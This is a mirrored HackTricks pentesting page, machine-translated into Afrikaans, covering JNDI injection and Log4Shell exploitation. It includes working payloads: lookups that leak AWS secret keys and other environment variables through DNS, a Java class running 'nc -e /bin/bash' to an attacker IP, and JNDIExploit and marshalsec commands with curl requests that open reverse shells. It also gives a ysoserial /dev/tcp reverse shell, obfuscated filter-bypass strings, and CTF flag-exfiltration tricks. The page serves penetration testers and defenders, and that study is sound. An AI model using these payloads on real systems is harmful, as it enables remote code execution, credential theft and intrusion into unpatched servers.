Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
Translator workflow 9f40607d8c Translated to Afrikaans
2024-02-11 02:07:06 +00:00

33 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. Probeer dit vandag nog gratis.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Basiese Inligting

JNDI, wat sedert die laat 1990's in Java geïntegreer is, dien as 'n gidsdiens wat Java-programme in staat stel om data of voorwerpe deur 'n benamingsisteem te vind. Dit ondersteun verskeie gidse dienste deur diensverskafferinterfaces (SPI's), wat data-herwinning vanaf verskillende stelsels, insluitende afgeleë Java-voorwerpe, moontlik maak. Gewilde SPI's sluit CORBA COS, Java RMI Registry en LDAP in.

JNDI Benamingsverwysing

Java-voorwerpe kan gestoor en herwin word deur gebruik te maak van JNDI Benamingsverwysings, wat in twee vorms voorkom:

  • Benamingsadres: Spesifiseer 'n voorwerp se ligging (bv. rmi://bediener/benaming), wat direkte herwinning vanaf die gespesifiseerde adres moontlik maak.
  • Afgeleë Fabriek: Verwys na 'n afgeleë fabrieksklas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afgeleë ligging.

Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van willekeurige kode. As 'n teenmaatreël:

  • RMI: java.rmi.server.useCodeabseOnly = true is standaard vanaf JDK 7u21, wat afgeleë voorwerp-laai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false is standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afgeleë gelaai Java-voorwerpe blokkeer. As dit op true ingestel word, is afgeleë kode-uitvoering moontlik sonder toesig van 'n Sekuriteitsbestuurder.
  • CORBA: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.

Die Benamingsbestuurder, wat verantwoordelik is vir die oplossing van JNDI-skakels, het egter nie ingeboude sekuriteitsmeganismes nie, wat moontlik die herwinning van voorwerpe vanaf enige bron moontlik maak. Dit stel 'n risiko as RMI-, LDAP- en CORBA-beskerming omseil kan word, wat kan lei tot die laai van willekeurige Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (toestelle) om skadelike kode uit te voer.

Voorbeelde van uitbuitbare URL's sluit in:

  • rmi://aanvaller-bediener/balk
  • ldap://aanvaller-bediener/balk
  • iiop://aanvaller-bediener/balk

Ten spyte van beskerming bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI vanuit onbetroubare bronne en die moontlikheid om bestaande beskerming te omseil.

JNDI Voorbeeld

Selfs as jy 'n PROVIDER_URL ingestel het, kan jy 'n ander een aandui in 'n opsoek en dit sal toegang kry: ctx.lookup("<aanvaller-beheerde-url>") en dit is wat 'n aanvaller sal misbruik om willekeurige voorwerpe vanaf 'n deur hom beheerde stelsel te laai.

CORBA Oorsig

CORBA (Common Object Request Broker Architecture) gebruik 'n Interoperable Object Reference (IOR) om afgeleë voorwerpe uniek te identifiseer. Hierdie verwysing bevat essensiële inligting soos:

  • Tipe-ID: Unieke identifiseerder vir 'n koppelvlak.
  • Kodebasis: URL om die stub-klas te verkry.

Dit is opmerklik dat CORBA nie inherent kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:

  • Installasie van 'n Sekuriteitsbestuurder.
  • Konfigurering van die Sekuriteitsbestuurder om verbinding met potensieel skadelike kodebasisse toe te laat. Dit kan bereik word deur:
  • Socket-toestemming, bv. permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Lêerleestoestemmings, óf universeel (permission java.io.FilePermission "<<ALL FILES>>", "read";) óf vir spesifieke gids waar skadelike lêers geplaas kan word.

Daar kan egter wees dat sommige verskafferbeleide inskiklik is en hierdie verbindinge standaard toelaat.

RMI Konteks

Vir RMI (Remote Method Invocation) is die situasie effens anders. Soos met CORBA, word die aflaai van willekeurige klasse standaard beperk. Om RMI uit te buit, sal 'n persoon tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.

LDAP

Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek.
'N soektog sal 'n URL gebruik soos ldap://localhost:389/o=JNDITutorial om die JNDITutorial-voorwerp van 'n LDAP-bediener te vind en sy eienskappe te herwin.
'N opsoek is bedoel vir benamingsdienste aangesien ons alles wat aan 'n naam gebind is, wil kry.

As die LDAP-soektog aangeroep is met SearchControls.setReturningObjFlag() met true, sal die teruggevoerde voorwerp herkonstrueer word.

Daarom is daar verskeie maniere om hierdie opsies aan te val.
'N aanvaller kan LDAP-rekords vergiftig deur payloads daarop in te voer wat in die stelsels wat dit versamel, uitgevoer sal word (baie nuttig om tientalle masjiene te kompromitteer as jy toegang tot die LDAP-bediener het). 'N Ander manier om dit uit te buit, sou wees om 'n MitM-aanval in 'n LDAP-soektog uit te voer, byvoorbeeld.

In die geval dat jy 'n toepassing kan laat 'n JNDI LDAP-URL oplos, kan jy die LDAP wat gesoek sal word, beheer, en jy kan die uitbuiting (log4shell) terugstuur.

Deserialisasie-uitbuiting

Die uitbuiting word geserialiseer en sal gedeserialiseer word.
As `trustURLCode

Log4Shell-kwesbaarheid

Die kwesbaarheid word geïntroduceer in Log4j omdat dit 'n spesiale sintaksis ondersteun in die vorm ${prefix:name} waar prefix een van 'n aantal verskillende Lookups is waar name geëvalueer moet word. Byvoorbeeld, ${java:version} is die huidige weergawe van Java wat uitgevoer word.

LOG4J2-313 het 'n jndi Lookup-funksie ingevoer. Hierdie funksie maak dit moontlik om veranderlikes deur JNDI te herwin. Gewoonlik word die sleutel outomaties voorafgegaan deur java:comp/env/. As die sleutel self egter 'n ":" bevat, word hierdie verstek voorvoegsel nie toegepas nie.

Met 'n : teenwoordig in die sleutel, soos in ${jndi:ldap://example.com/a}, is daar geen voorvoegsel nie en word die LDAP-bediener ondervra vir die voorwerp. En hierdie Lookups kan gebruik word in beide die konfigurasie van Log4j en wanneer lyne gelog word.

Daarom is die enigste ding wat nodig is om RCE te kry 'n kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word. En omdat dit 'n biblioteek is wat wyd deur Java-toepassings gebruik word om inligting te log (insluitend aan die internet blootgestelde toepassings), was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP-koppele ontvang soos die User-Agent. Log4j word egter nie net gebruik om HTTP-inligting te log nie, maar enige insette en data wat deur die ontwikkelaar aangedui word.

Oorsig van Log4Shell-verwante CVE's

CVE-2021-44228 [Kritiek]

Hierdie kwesbaarheid is 'n kritieke onbetroubare deserialisasie-fout in die log4j-core komponent, wat weergawes vanaf 2.0-beta9 tot 2.14.1 affekteer. Dit maak afgeleide kode-uitvoering (RCE) moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is deur Chen Zhaojun van die Alibaba Cloud Security Team gerapporteer en affekteer verskeie Apache-raamwerke. Die oorspronklike regstelling in weergawe 2.15.0 was onvolledig. Sigma-reëls vir verdediging is beskikbaar (Reël 1, Reël 2).

CVE-2021-45046 [Kritiek]

Aanvanklik as laag beoordeel, maar later opgegradeer na kritiek, is hierdie CVE 'n Diensweier (DoS) fout as gevolg van 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit affekteer nie-standaard konfigurasies en stel aanvallers in staat om DoS-aanvalle deur middel van vervaardigde payloads te veroorsaak. 'n Tweet toon 'n omwegmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskapopsoekpatrone te verwyder en JNDI standaard uit te skakel.

CVE-2021-4104 [Hoog]

Hierdie CVE affekteer Log4j 1.x-weergawes in nie-standaard konfigurasies wat JMSAppender gebruik. Daar is geen regstelling beskikbaar vir die 1.x-tak nie, wat einde-van-die-lewe is, en dit word aanbeveel om na log4j-core 2.17.0 op te gradeer.

CVE-2021-42550 [Gemiddeld]

Hierdie kwesbaarheid affekteer die Logback-lograamwerk, 'n opvolger van Log4j 1.x. Dit is voorheen beskou as veilig, maar die raamwerk is kwesbaar bevind en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.

CVE-2021-45105 [Hoog]

Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van log4j 2.17.0 vereis om die CVE te regstel. Verdere besonderhede is beskikbaar in BleepingComputer se verslag.

CVE-2021-44832

Hierdie CVE affekteer log4j weergawe 2.17 en vereis dat die aanvaller die konfigurasie-lêer van log4j beheer. Dit behels potensiële willekeurige kode-uitvoering via 'n gekonfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die Checkmarx-blogpos.

Log4Shell-uitbuiting

Ontdekking

Hierdie kwesbaarheid is baie maklik om te ontdek as dit onbeskerm is, omdat dit ten minste 'n DNS-versoek na die adres sal stuur wat jy in jou payload aandui. Daarom, payloads soos:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (deur canarytokens.com te gebruik)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (deur interactsh te gebruik)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (deur Burp Suite te gebruik)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (deur dnslog te gebruik)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (deur huntress te gebruik)

Merk op dat selfs as 'n DNS-versoek ontvang word, beteken dit nie dat die toepassing uitbuitbaar is (of selfs kwesbaar nie), jy sal moet probeer om dit uit te buit.

{% hint style="info" %} Onthou dat jy die localhost kontroleer om weergawe 2.15 uit te buit deur die volgende te gebruik: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Plaaslike ontdekking

Soek na plaaslike kwesbare weergawes van die biblioteek met:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verifikasie

Sommige van die platforms wat voorheen genoem is, sal jou toelaat om sekere veranderlike data in te voeg wat geregistreer sal word wanneer dit versoek word.
Dit kan baie nuttig wees vir 2 dinge:

  • Om die kwesbaarheid te verifieer
  • Om inligting te uit te lek deur die kwesbaarheid te misbruik

Byvoorbeeld, jy kan iets soos die volgende versoek:
of soos ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} en as 'n DNS-versoek ontvang word met die waarde van die omgewingsveranderlike, weet jy dat die toepassing kwesbaar is.

Ander inligting wat jy kan probeer lek:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Inligting

{% hint style="info" %} Gasheer-rekenaars wat op JDK-weergawes bo 6u141, 7u131 of 8u121 loop, is beskerm teen die LDAP-klaslaai-aanvalvektor. Dit is te danke aan die standaard deaktivering van com.sun.jndi.ldap.object.trustURLCodebase, wat voorkom dat JNDI 'n afgeleë kodebasis via LDAP laai. Dit is egter belangrik om daarop te let dat hierdie weergawes nie teen die deserialisasie-aanvalvektor beskerm is nie.

Vir aanvallers wat daarop gemik is om hierdie hoër JDK-weergawes uit te buit, is dit nodig om 'n vertroude gadget binne die Java-toepassing te benut. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit betreklik makliker om laer JDK-weergawes uit te buit, aangesien hierdie weergawes gemanipuleer kan word om willekeurige klasse te laai en uit te voer.

Vir meer inligting (soos beperkings op RMI- en CORBA-vektore) kyk na die vorige JNDI-naamgewingsverwysingsafdeling of https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec met aangepaste vrag

Jy kan dit toets in die THM-boks: https://tryhackme.com/room/solar

Gebruik die gereedskap marshalsec (jar-weergawe beskikbaar hier). Hierdie benadering stel 'n LDAP-verwysingbediener op om verbindinge na 'n sekondêre HTTP-bediener om te lei waar die uitbuiting gehuisves sal word:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Om die teiken te dwing om 'n omgekeerde skulpoort-kode te laai, skep 'n Java-lêer genaamd Exploit.java met die volgende inhoud:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kompileer die Java-lêer na 'n klasselêer deur die volgende te gebruik: javac Exploit.java -source 8 -target 8. Begin dan 'n HTTP-bediener in die gids wat die klasselêer bevat met: python3 -m http.server. Maak seker dat die marshalsec LDAP-bediener na hierdie HTTP-bediener verwys.

Laat die uitvoering van die exploiteerklas op die vatbare webbediener plaasvind deur 'n lading te stuur wat soos die volgende lyk:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Nota: Hierdie uitbuiting steun op Java se konfigurasie om afstandsbeheerlaaibasisse via LDAP toe te laat. As dit nie toelaatbaar is nie, oorweeg om 'n vertroude klas uit te buit vir willekeurige kode-uitvoering.

RCE - JNDIExploit

{% hint style="info" %} Merk op dat die outeur hierdie projek na die ontdekking van log4shell van GitHub verwyder het. 'n Gekasjte weergawe kan gevind word by https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, maar as jy die besluit van die outeur wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid uit te buit.

Verder kan jy nie die bronkode in die wayback-masjien vind nie, so analiseer die bronkode of voer die jar uit met die besef dat jy nie weet wat jy uitvoer nie. {% endhint %}

Vir hierdie voorbeeld kan jy net hierdie kwesbare webbediener vir log4shell op poort 8080 uitvoer: https://github.com/christophetd/log4shell-vulnerable-app (in die README sal jy vind hoe om dit uit te voer). Hierdie kwesbare toepassing log die inhoud van die HTTP-aanvraagkop X-Api-Version met 'n kwesbare weergawe van log4shell.

Daarna kan jy die JNDIExploit jar-lêer aflaai en dit uitvoer met:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Na die kode 'n paar minute gelees te het, kan jy sien hoe die LDAP- en HTTP-bedieners geskep word in com.feihong.ldap.LdapServer en com.feihong.ldap.HTTPServer. Die LDAP-bediener sal verstaan watter payload bedien moet word en sal die slagoffer na die HTTP-bediener omskakel, wat die uitbuiting sal bedien.
In com.feihong.ldap.gadgets kan jy sekere spesifieke gadgets vind wat gebruik kan word om die gewenste aksie uit te voer (moontlik willekeurige kode uit te voer). En in com.feihong.ldap.template kan jy die verskillende templaatklasse sien wat die uitbuitings sal genereer.

Jy kan al die beskikbare uitbuitings sien met java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Sommige nuttige een is:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

So, in ons voorbeeld het ons reeds daardie kwesbare docker-toepassing wat loop. Om dit aan te val:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Wanneer jy die aanvalle stuur, sal jy 'n uitset sien in die terminaal waar jy JNDIExploit-1.2-SNAPSHOT.jar uitgevoer het.

Onthou om java -jar JNDIExploit-1.2-SNAPSHOT.jar -u te kontroleer vir ander uitbuitingsopsies. Verder kan jy, indien nodig, die poort van die LDAP- en HTTP-bedieners verander.

RCE - JNDI-Exploit-Kit

Op 'n soortgelyke manier as die vorige uitbuiting, kan jy probeer om JNDI-Exploit-Kit te gebruik om hierdie kwesbaarheid uit te buit.
Jy kan die URL's genereer om aan die slagoffer te stuur deur die volgende uit te voer:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Hierdie aanval met 'n aangepaste gegenereerde Java-voorwerp sal werk in laboratoriums soos die THM-sonkamer. Dit sal egter nie algemeen werk nie (aangesien Java nie standaard gekonfigureer is om afgeleë kodebasisse met LDAP te laai nie) omdat dit nie 'n vertroude klas misbruik om willekeurige kode uit te voer nie.

RCE - ysoserial & JNDI-Exploit-Kit

Hierdie opsie is baie nuttig om Java-weergawes aan te val wat slegs vertroude klasse vertrou en nie almal nie. Daarom sal ysoserial gebruik word om serialisasies van vertroude klasse te genereer wat as gadgets gebruik kan word om willekeurige kode uit te voer (die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer-java-program gebruik word sodat die uitbuiting kan werk).

Met behulp van ysoserial of ysoserial-gewysig kan jy die deserialisasie-uitbuiting skep wat deur JNDI afgelaai sal word:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Gebruik JNDI-Exploit-Kit om JNDI-skakels te genereer waar die aanval wag vir verbinding vanaf die kwesbare masjiene. Jy kan verskillende aanvalle bedien wat outomaties gegenereer word deur die JNDI-Exploit-Kit of selfs jou eie deserialisasie-payloads (deur jou of ysoserial) gegenereer.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid uit te buit en 'n omgekeerde dop te verkry deur dit na 'n kwesbare weergawe van log4j te stuur: ${ldap://10.10.14.10:1389/generated}

Oorbruggings

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Outomatiese Skandeerders

Laboratoriums om te toets

Post-Log4Shell Uitbuiting

In hierdie CTF-skryfstuk word goed verduidelik hoe dit potensieel moontlik is om sommige kenmerke van Log4J te misbruik.

Die sekuriteitsbladsy van Log4j het 'n paar interessante sinne:

Vanaf weergawe 2.16.0 (vir Java 8) is die boodskapopsoekfunksie heeltemal verwyder. Opsoekfunksies in konfigurasie werk nog steeds. Verder deaktiveer Log4j nou toegang tot JNDI standaard. JNDI-opsoekfunksies in konfigurasie moet nou eksplisiet geaktiveer word.

Vanaf weergawe 2.17.0 (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), word slegs opsoekreekse in konfigurasie rekursief uitgebrei; in enige ander gebruik, word slegs die topvlak-opsoek opgelos, en enige geneste opsoeke word nie opgelos nie.

Dit beteken dat jy standaard enige jndi-uitbuiting kan vergeet. Verder moet jy hulle eksplisiet konfigureer om rekursiewe opsoeke uit te voer.

Byvoorbeeld, in daardie CTF was dit gekonfigureer in die lêer log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Opsoek

In hierdie CTF het die aanvaller die waarde van ${sys:cmd} beheer en moes die vlag uit 'n omgewingsveranderlike eksfiltreer.
Soos gesien op hierdie bladsy in vorige payloads is daar verskillende maniere om toegang tot omgewingsveranderlikes te verkry, soos: ${env:FLAG}. In hierdie CTF was dit nutteloos, maar dit mag dalk nie in ander werklike scenarios wees nie.

Eksfiltrering in Uitsonderings

In die CTF kon jy nie die stderr van die Java-toepassing gebruik nie, maar Log4J uitsonderings word na stdout gestuur, wat in die Python-toepassing gedruk is. Dit beteken dat deur 'n uitsondering te veroorsaak, kon ons die inhoud verkry. 'n Uitsondering om die vlag te eksfiltreer was: ${java:${env:FLAG}}. Dit werk omdat ${java:CTF{blahblah}} nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word:

Omskakelingspatrone Uitsonderings

Net om dit te noem, jy kon ook nuwe omskakelingspatrone inspuit en uitsonderings veroorsaak wat na stdout gelog word. Byvoorbeeld:

Dit was nie nuttig bevind om data binne die foutboodskap te eksfiltreer nie, omdat die opsoek nie voor die omskakelingspatroon opgelos is nie, maar dit kan nuttig wees vir ander dinge soos opsporing.

Omskakelingspatrone Regexes

Dit is egter moontlik om sommige omskakelingspatrone wat regexes ondersteun te gebruik om inligting uit 'n opsoek te eksfiltreer deur regexes te gebruik en binêre soek of tyd-gebaseerde gedrag te misbruik.

  • Binêre soek via uitsonderingsboodskappe

Die omskakelingspatroon %replace kan gebruik word om inhoud van 'n string te vervang, selfs deur regexes te gebruik. Dit werk soos volg: replace{pattern}{regex}{substitution}
Deur hierdie gedrag te misbruik, kan jy 'n vervanging 'n uitsondering laat veroorsaak as die regex enige iets binne die string pas (en geen uitsondering as dit nie gevind word nie) soos hierdie voorbeeld:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Tydgebase

Soos in die vorige afdeling genoem is, ondersteun %vervang regexes. Dit is dus moontlik om 'n payload van die ReDoS-bladsy te gebruik om 'n tydvertraging te veroorsaak as die vlag gevind word.
Byvoorbeeld, 'n payload soos %vervang{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} sal 'n tydvertraging veroorsaak in daardie CTF.

In hierdie writeup is daar in plaas van 'n ReDoS-aanval 'n versterkingsaanval gebruik om 'n tydverskil in die respons te veroorsaak:

/%vervang{
%vervang{
%vervang{
%vervang{
%vervang{
%vervang{
%vervang{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

As die vlag met flagGuess begin, word die hele vlag vervang met 29 #-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). Elkeen van die resulterende 29 #-s word dan vervang deur 54 #-s. Hierdie proses word 6 keer herhaal, wat lei tot 'n totaal van 29*54*54^6* =`` ``96816014208 #-s!

Om soveel #-s te vervang, sal die 10-sekonde tydvertraging van die Flask-toepassing geaktiveer word, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat na die gebruiker gestuur word. (As die vlag nie met flagGuess begin nie, sal ons 'n nie-500 statuskode ontvang)

Verwysings

Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder hou jou aanvalsoppervlak dop, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. Probeer dit vandag nog gratis.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: